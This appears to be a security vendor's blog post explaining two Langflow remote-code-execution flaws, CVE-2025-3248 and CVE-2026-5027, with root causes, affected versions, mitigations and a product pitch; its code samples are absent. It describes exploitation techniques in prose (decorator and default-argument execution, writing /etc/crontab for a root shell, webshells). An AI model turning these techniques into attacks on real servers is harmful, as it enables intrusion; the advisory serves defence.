CVE-2025-3248 and CVE-2026-5027: Langflow RCE Vulnerabilities Explained

Key Takeaways

• CVE-2025-3248 is a critical, unauthenticated remote code execution flaw in Langflow, scoring 9.8 on CVSS.
• The flaw runs untrusted Python through exec() with no authentication or sandbox, exploited via decorators or default arguments.
• CVE-2025-3248 is exploited in the wild, sits on CISA KEV, and was used to deploy the Flodrix botnet.
• CVE-2026-5027 is a path traversal in Langflow file uploads scoring 8.8 on CVSS, enabling arbitrary file write and RCE.
• The Picus Platform lets teams simulate both attacks and test their security controls.

CVE-2025-3248 is a critical, unauthenticated remote code execution (RCE) vulnerability in the code validation feature of Langflow, an open-source framework for building large language model (LLM) and agentic AI workflows. It carries a CVSS v3.1 score of 9.8 and stems from a missing authentication check on an endpoint that executes user-supplied Python code.

CVE-2026-5027 is a separate, high-severity path traversal vulnerability in Langflow's file upload feature that leads to arbitrary file write and, in the default configuration, to unauthenticated RCE. It carries a CVSS v3.1 score of 8.8. Both flaws end in the same place: an attacker running arbitrary code on the server, often as root.

This post breaks down what each vulnerability is, what causes it at the code level, how attackers exploit it, how to tell if you are exposed, and how to fix it.

Key Facts at a Glance

CVE-2025-3248

CVE-2026-5027

What Is Langflow?

Langflow is an open-source, low-code visual framework for designing, building, and orchestrating LLM applications and agentic AI workflows. It gives developers a drag-and-drop interface for wiring together language models, APIs, vector stores, and databases into complex chains without writing much code.

A Langflow instance rarely sits alone: it holds API keys for model providers (OpenAI, Anthropic, and others), cloud credentials, and database connection strings. This role is exactly what makes a flaw in Langflow serious.

What Is CVE-2025-3248?

Root Cause Analysis of CVE-2025-3248

At the heart of the vulnerability is the decision to run untrusted code through Python's exec() with no authentication and no sandbox.

The validation routine parses the submitted code into an Abstract Syntax Tree (AST) with ast.parse(), compiles each function definition, and executes it with exec() [2]:

How Does CVE-2025-3248 Exploit Work?

What makes the flaw exploitable is not that the validator runs any code you send, because it does not. Two constraints in that loop shape the entire attack:

1. The loop only executes ast.FunctionDef nodes. A top-level statement such as exec("os.system(...)") or a bare malicious_func() call parses to a different node type (an expression/call statement, not a function definition), so the isinstance(node, ast.FunctionDef) check skips it. It is never compiled and never reaches exec(). Sending your payload as a direct top-level call simply gets ignored.
2. Executing a function definition does not run the function body. When exec() processes a FunctionDef, Python only binds the function name; the body runs later, and only if something calls it. The validator never calls it. So hiding the payload inside a normal function body (def f(): os.system(...)) also does nothing, because nothing ever invokes f.

Those two constraints leave exactly one avenue: code that fires at definition time, while the def statement itself is being executed and before the function is ever called. Python evaluates exactly two things at that moment, and each gives an attacker a place to run code.

Method 1: Decorator

A decorator expression is evaluated when the function is defined, so the command runs the instant the definition is processed:

exec() returns None, so applying the decorator then raises a TypeError (Python tries to call None(foo)), but only after the payload has already run. Langflow captures that exception and returns it in the errors field of its JSON response, so any command output can be read back over the API.

Method 2: Default argument

A default argument value is also evaluated at definition time. Pairing it with subprocess.check_output() captures the command output directly in the response:

What Is CVE-2026-5027?

Root Cause Analysis of CVE-2026-5027

The root cause of CVE-2026-5027 is a classic path traversal: the upload_user_file() function takes the filename straight from the HTTP request and never sanitizes it.

That filename is then handed to the Python code directly, which builds the destination path with pathlib and writes the file without ever checking that the resolved path stays inside the storage directory:

Because neither the API handler nor the storage service validates the filename for ../ sequences, an attacker can traverse out of the intended upload directory and write to any location the Langflow process can write to.

How Does CVE-2026-5027 Exploit Work?

The exploitation needs a valid token, but this can also be taken from the /api/v1/auto_login endpoint easily if the auto-login setting in configuration is enabled (which is the default):

The function that sends the request to write arbitrary files looks like this:

Arbitrary file write is a general-purpose primitive. The public PoC writes a cron job into /etc/crontab [3]; because system cron runs as root, the callback is a root shell:

The same primitive supports other well-known escalation paths, such as dropping an SSH authorized_keys file or planting a webshell, so blocking any single technique does not close the vulnerability.

Am I Affected by CVE-2025-3248 and CVE-2026-5027?

You should assume you are at risk and investigate immediately if any of the following are true:

• You run Langflow prior to version 1.3.0. These versions are vulnerable to CVE-2025-3248 via /api/v1/validate/code.
• You run Langflow version 1.8.4 or earlier. These versions are vulnerable to CVE-2026-5027 via POST /api/v2/files.
• Your Langflow instance is reachable from untrusted networks.
• Auto-login is enabled (the default). This makes CVE-2026-5027 exploitable with no credentials via /api/v1/auto_login.

How to Mitigate and Remediate CVE-2025-3248 and CVE-2026-5027

To remediate these CVEs, upgrade Langflow to the latest version. Also, because exploitation may have predated your patch, hunt for indicators of compromise.

If you cannot upgrade instantly, apply these controls:

• Restrict external access to Langflow at the firewall or network edge; do not expose it to the public internet unless there is a genuine need, and place it behind SSO or in an isolated network segment when you must.
• Disable auto-login in production by setting LANGFLOW_AUTO_LOGIN=false. This removes the free-token path that makes CVE-2026-5027 unauthenticated.
• Run Langflow as a non-root, least-privilege user so an arbitrary file write cannot land in root-owned locations like /etc/crontab.

How Picus Simulates CVE-2025-3248 and CVE-2026-5027 Attacks?

We also strongly suggest simulating CVE-2025-3248 and CVE-2026-5027 attacks to test the effectiveness of your security controls against real-life cyber attacks using the Picus Platform. You can also test your defenses against other vulnerability exploitation attacks, such as regreSSHion, Citrix Bleed, and Follina, within minutes with a 14-day free trial of the Picus Platform.

Picus Threat Library includes the following threats for the CVE-2025-3248 and CVE-2026-5027 attacks:

Start simulating emerging threats today and get actionable mitigation insights with a 14-day free trial of the Picus Platform.

References

[1] “Critical Langflow Vulnerability (CVE-2025-3248) Actively Exploited to Deliver Flodrix Botnet,” Trend Micro. Accessed: Jul. 06, 2026. [Online]. Available: https://www.trendmicro.com/en_us/research/25/f/langflow-vulnerability-flodric-botnet.html

[2] “Website.” [Online]. Available: https://www.keysight.com/blogs/en/tech/nwvs/2025/06/29/cve-2025-3248-langflow-unauthenticated-code-validation

[3] Y. Hamza, “CVE-2026-5027: Langflow Path Traversal to RCE - PoC Exploit,” YH-Blog. Accessed: Jul. 06, 2026. [Online]. Available: https://yh.do/cve-2026-5027-langflow-path-traversal-rce/